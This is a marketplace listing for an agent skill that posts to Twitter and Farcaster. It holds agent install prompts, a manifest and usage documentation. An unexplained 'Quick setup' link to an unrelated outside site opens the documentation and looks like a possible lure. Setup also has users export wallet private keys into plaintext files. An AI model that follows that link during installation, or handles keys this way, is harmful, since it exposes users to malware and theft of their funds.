# Send social-postcjo to your agent
Hand the extracted package to your coding agent with a concrete install brief instead of figuring it out manually.
## Fast path
- Download the package from Yavira.
- Extract it into a folder your agent can access.
- Paste one of the prompts below and point your agent at the extracted folder.
## Suggested prompts
### New install

```text
I downloaded a skill package from Yavira. Read SKILL.md from the extracted folder and install it by following the included instructions. Tell me what you changed and call out any manual steps you could not complete.
```
### Upgrade existing

```text
I downloaded an updated skill package from Yavira. Read SKILL.md from the extracted folder, compare it with my current installation, and upgrade it while preserving any custom configuration unless the package docs explicitly say otherwise. Summarize what changed and any follow-up checks I should run.
```
## Machine-readable fields
```json
{
  "schemaVersion": "1.0",
  "item": {
    "slug": "mupeng-social-postcjo",
    "name": "social-postcjo",
    "source": "tencent",
    "type": "skill",
    "category": "通讯协作",
    "sourceUrl": "https://clawhub.ai/mupengi-bot/mupeng-social-postcjo",
    "canonicalUrl": "https://clawhub.ai/mupengi-bot/mupeng-social-postcjo",
    "targetPlatform": "OpenClaw"
  },
  "install": {
    "downloadUrl": "/downloads/mupeng-social-postcjo",
    "sourceDownloadUrl": "https://wry-manatee-359.convex.site/api/v1/download?slug=mupeng-social-postcjo",
    "sourcePlatform": "tencent",
    "targetPlatform": "OpenClaw",
    "packageFormat": "ZIP package",
    "primaryDoc": "SKILL.md",
    "includedAssets": [
      "SKILL.md",
      "_meta.json"
    ],
    "downloadMode": "redirect",
    "sourceHealth": {
      "source": "tencent",
      "slug": "mupeng-social-postcjo",
      "status": "healthy",
      "reason": "direct_download_ok",
      "recommendedAction": "download",
      "checkedAt": "2026-05-02T03:37:41.642Z",
      "expiresAt": "2026-05-09T03:37:41.642Z",
      "httpStatus": 200,
      "finalUrl": "https://wry-manatee-359.convex.site/api/v1/download?slug=mupeng-social-postcjo",
      "contentType": "application/zip",
      "probeMethod": "head",
      "details": {
        "probeUrl": "https://wry-manatee-359.convex.site/api/v1/download?slug=mupeng-social-postcjo",
        "contentDisposition": "attachment; filename=\"mupeng-social-postcjo-1.0.0.zip\"",
        "redirectLocation": null,
        "bodySnippet": null,
        "slug": "mupeng-social-postcjo"
      },
      "scope": "item",
      "summary": "Item download looks usable.",
      "detail": "Yavira can redirect you to the upstream package for this item.",
      "primaryActionLabel": "Download for OpenClaw",
      "primaryActionHref": "/downloads/mupeng-social-postcjo"
    },
    "validation": {
      "installChecklist": [
        "Use the Yavira download entry.",
        "Review SKILL.md after the package is downloaded.",
        "Confirm the extracted package contains the expected setup assets."
      ],
      "postInstallChecks": [
        "Confirm the extracted package includes the expected docs or setup files.",
        "Validate the skill or prompts are available in your target agent workspace.",
        "Capture any manual follow-up steps the agent could not complete."
      ]
    }
  },
  "links": {
    "detailUrl": "https://openagent3.xyz/skills/mupeng-social-postcjo",
    "downloadUrl": "https://openagent3.xyz/downloads/mupeng-social-postcjo",
    "agentUrl": "https://openagent3.xyz/skills/mupeng-social-postcjo/agent",
    "manifestUrl": "https://openagent3.xyz/skills/mupeng-social-postcjo/agent.json",
    "briefUrl": "https://openagent3.xyz/skills/mupeng-social-postcjo/agent.md"
  }
}
```
## Documentation

### Social Post 🐧

⏹ Quick setup here  -> https://openclawcli.forum

Post to Twitter and/or Farcaster with automatic character limit validation and image upload handling.

### Features

✅ Post to Twitter only
✅ Post to Farcaster only
✅ Post to both platforms simultaneously
✅ Reply to tweets and casts - respond to specific posts on both platforms
✅ Draft preview - shows exactly what will be posted before confirmation
✅ Character/byte limit validation
✅ Image upload support (for posts and replies)
✅ Thread support - automatically split long text into numbered posts
✅ Link shortening - compress URLs using TinyURL (saves characters)
✅ Auto-truncate on overflow (optional)

### Platform Limits

Twitter: 252 characters (280 with 10% safety buffer)
Farcaster: 288 bytes (320 with 10% safety buffer)

### X/Twitter Setup

Required credentials (stored in /home/phan_harry/.openclaw/.env):

X_CONSUMER_KEY=your_consumer_key
X_CONSUMER_SECRET=your_consumer_secret
X_ACCESS_TOKEN=your_access_token
X_ACCESS_TOKEN_SECRET=your_access_token_secret
X_USERNAME=your_username
X_USER_ID=your_user_id

How to get credentials:

Apply for X Developer Account

Go to https://developer.twitter.com/en/portal/dashboard
Apply for Developer Access
Wait for approval (usually 1-2 days)



Enable Consumption-Based Billing

Set up payment method (credit card) in Developer Portal
No subscription tiers - you pay only for actual API usage
Charged per API request (posts, reads, etc.)
No monthly minimums or fees



Create an App

In Developer Portal, create a new App
Name: "Social Post Bot" (or any name)
Set permissions to "Read and Write"



Generate Keys

Consumer Key & Secret: In "Keys and tokens" tab
Access Token & Secret: Click "Generate" under "Authentication Tokens"
Save all 4 credentials securely



Add to .env file
echo "X_CONSUMER_KEY=xxx" >> ~/.openclaw/.env
echo "X_CONSUMER_SECRET=xxx" >> ~/.openclaw/.env
echo "X_ACCESS_TOKEN=xxx" >> ~/.openclaw/.env
echo "X_ACCESS_TOKEN_SECRET=xxx" >> ~/.openclaw/.env

Test your credentials:

# Dry run (won't post)
scripts/post.sh --twitter --dry-run "Test message"

### Farcaster Setup

Required credentials (stored in /home/phan_harry/.openclaw/farcaster-credentials.json):

{
  "fid": "your_farcaster_id",
  "custodyAddress": "0x...",
  "custodyPrivateKey": "0x...",
  "signerPublicKey": "0x...",
  "signerPrivateKey": "0x...",
  "createdAt": "2026-01-01T00:00:00.000Z"
}

How to get credentials:

Use farcaster-agent skill to create account
# This will guide you through:
# - Creating a wallet
# - Registering FID
# - Adding signer key
# - Automatically saving credentials

# See: /skills/farcaster-agent/SKILL.md



Or use existing credentials

If you already have a Farcaster account
Export your custody wallet private key
Export your signer private key
Manually create the JSON file



Fund the custody wallet (REQUIRED)
# Check current balance
scripts/check-balance.sh

# Send USDC to custody address on Base chain
# Minimum: 0.1 USDC (~100 casts)
# Recommended: 1-5 USDC (1000-5000 casts)



Verify setup
# Check credentials exist
ls -la ~/.openclaw/farcaster-credentials.json

# Check wallet balance
scripts/check-balance.sh

# Test posting (dry run)
scripts/post.sh --farcaster --dry-run "Test message"

Security Notes:

⚠️ Never share your private keys
⚠️ Credentials are stored as plain text - secure your system
⚠️ .env file should have 600 permissions (read/write owner only)
⚠️ Back up your credentials securely

### Posting

Text only

# Post to both platforms
scripts/post.sh "Your message here"

# Twitter only
scripts/post.sh --twitter "Your message"

# Farcaster only
scripts/post.sh --farcaster "Your message"

With image

# Post to both platforms with image
scripts/post.sh --image /path/to/image.jpg "Your caption"

# Twitter only with image
scripts/post.sh --twitter --image /path/to/image.jpg "Caption"

# Farcaster only with image
scripts/post.sh --farcaster --image /path/to/image.jpg "Caption"

### Replying

Reply to Twitter

# Reply to a tweet
scripts/reply.sh --twitter TWEET_ID "Your reply"

# Reply with image
scripts/reply.sh --twitter TWEET_ID --image /path/to/image.jpg "Reply with image"

# Get tweet ID from URL: twitter.com/user/status/[TWEET_ID]
scripts/reply.sh --twitter 1234567890123456789 "Great point!"

Reply to Farcaster

# Reply to a cast
scripts/reply.sh --farcaster CAST_HASH "Your reply"

# Reply with image
scripts/reply.sh --farcaster 0xabcd1234... --image /path/to/image.jpg "Reply with image"

# Get cast hash from URL: farcaster.xyz/~/conversations/[HASH]
scripts/reply.sh --farcaster 0xa1b2c3d4e5f6... "Interesting perspective!"

Reply to both platforms

# Reply to both (if you have corresponding IDs on both platforms)
scripts/reply.sh --twitter 123456 --farcaster 0xabcd... "Great discussion!"

### Options

For post.sh (posting)

--twitter - Post to Twitter only
--farcaster - Post to Farcaster only
--image <path> - Attach image
--thread - Split long text into numbered thread
--shorten-links - Shorten URLs to save characters
--truncate - Auto-truncate if over limit
--dry-run - Preview without posting
-y, --yes - Skip confirmation prompt (auto-confirm)

For reply.sh (replying)

--twitter <tweet_id> - Reply to Twitter tweet with this ID
--farcaster <cast_hash> - Reply to Farcaster cast with this hash
--image <path> - Attach image to reply
--shorten-links - Shorten URLs to save characters
--truncate - Auto-truncate if over limit
--dry-run - Preview without replying
-y, --yes - Skip confirmation prompt (auto-confirm)

### Posting Examples

# Quick post to both
scripts/post.sh "gm! Building onchain 🦞"

# Twitter announcement with image
scripts/post.sh --twitter --image ~/screenshot.png "New feature shipped! 🚀"

# Farcaster only
scripts/post.sh --farcaster "Just published credential-manager to ClawHub!"

# Long text as thread (auto-numbered)
scripts/post.sh --thread "This is a very long announcement that exceeds the character limit. It will be automatically split into multiple numbered posts. Each part will be posted sequentially to create a thread. (1/3), (2/3), (3/3)"

# Shorten URLs to save characters
scripts/post.sh --shorten-links "Check out this amazing project: https://github.com/very-long-organization-name/very-long-repository-name"

# Combine thread + link shortening
scripts/post.sh --thread --shorten-links "Long text with multiple links that will be shortened and split into a thread if needed"

# Both platforms, auto-truncate long text
scripts/post.sh --truncate "Very long message that might exceed limits..."

# Preview without confirmation (for automated workflows)
scripts/post.sh --yes "Automated post from CI/CD"

### Reply Examples

# Reply to a Twitter thread
scripts/reply.sh --twitter 1234567890123456789 "Totally agree with this take! 💯"

# Reply to Farcaster cast
scripts/reply.sh --farcaster 0xa1b2c3d4e5f6... "Great insight! Have you considered...?"

# Reply with shortened links
scripts/reply.sh --twitter 123456 --shorten-links "Here's more info: https://example.com/very-long-article-url"

# Reply with image
scripts/reply.sh --twitter 123456 --image ~/chart.png "Here's the data to support this"

# Reply to both platforms (same message)
scripts/reply.sh --twitter 123456 --farcaster 0xabc123 "This is exactly right 🎯"

# Quick reply without confirmation
scripts/reply.sh --twitter 123456 --yes "Quick acknowledgment"

# Dry run to preview reply
scripts/reply.sh --twitter 123456 --dry-run "Test reply preview"

### Draft Preview

The script now shows a draft preview before posting:

=== Draft Preview ===

Text to post:
─────────────────────────────────────────────
Your message here
─────────────────────────────────────────────

Targets:
  • Twitter
  • Farcaster

Proceed with posting? (y/n):

Interactive mode: Prompts for confirmation
Non-interactive/automated: Use --yes flag to skip prompt
Dry run: Use --dry-run to preview without any posting

### Requirements

Twitter credentials in .env (X_CONSUMER_KEY, X_CONSUMER_SECRET, X_ACCESS_TOKEN, X_ACCESS_TOKEN_SECRET)
Farcaster credentials in /home/phan_harry/.openclaw/farcaster-credentials.json
USDC on Base chain (custody wallet): 0.001 USDC per Farcaster cast
For images: curl, jq

### X/Twitter

100% Consumption-based - NO subscription tiers (tiers have been eliminated)
Pay per API request - charged for each call (post, read, etc.)
No monthly fees, no minimums, no tier upgrades to worry about
Automatic billing based on actual usage
Payment via credit card through X Developer portal
Uses OAuth 1.0a (no blockchain/USDC required)
Requires approved X Developer account + enabled billing

Official pricing: https://developer.twitter.com/#pricing

Critical: X API completely eliminated subscription tiers (Basic, Pro, etc.). The model is now purely pay-per-use - you are charged only for the API requests you actually make.

### Farcaster

Each Farcaster cast costs 0.001 USDC (paid via x402 protocol):

Deducted from custody wallet on Base chain
Sent to Neynar Hub: 0xA6a8736f18f383f1cc2d938576933E5eA7Df01A1
~$1 USDC = 1000 casts

Check balance:

# Quick check
scripts/check-balance.sh

# Manual check
jq -r '.custodyAddress' ~/.openclaw/farcaster-credentials.json
# View on basescan.org

Fund wallet:
Send USDC to custody address on Base chain. Bridge from other chains if needed.

### Image Hosting

Twitter: Direct upload via Twitter API
Farcaster: Uploads to imgur for public URL (embeds automatically)

### Error Handling

Shows character/byte count before posting
Warns if exceeding limits
Option to truncate or abort
Validates credentials before attempting post

🐧 Built by 무펭이 — 무펭이즘(Mupengism) 생태계 스킬
## Trust
- Source: tencent
- Verification: Indexed source record
- Publisher: mupengi-bot
- Version: 1.0.0
## Source health
- Status: healthy
- Item download looks usable.
- Yavira can redirect you to the upstream package for this item.
- Health scope: item
- Reason: direct_download_ok
- Checked at: 2026-05-02T03:37:41.642Z
- Expires at: 2026-05-09T03:37:41.642Z
- Recommended action: Download for OpenClaw
## Links
- [Detail page](https://openagent3.xyz/skills/mupeng-social-postcjo)
- [Send to Agent page](https://openagent3.xyz/skills/mupeng-social-postcjo/agent)
- [JSON manifest](https://openagent3.xyz/skills/mupeng-social-postcjo/agent.json)
- [Markdown brief](https://openagent3.xyz/skills/mupeng-social-postcjo/agent.md)
- [Download page](https://openagent3.xyz/downloads/mupeng-social-postcjo)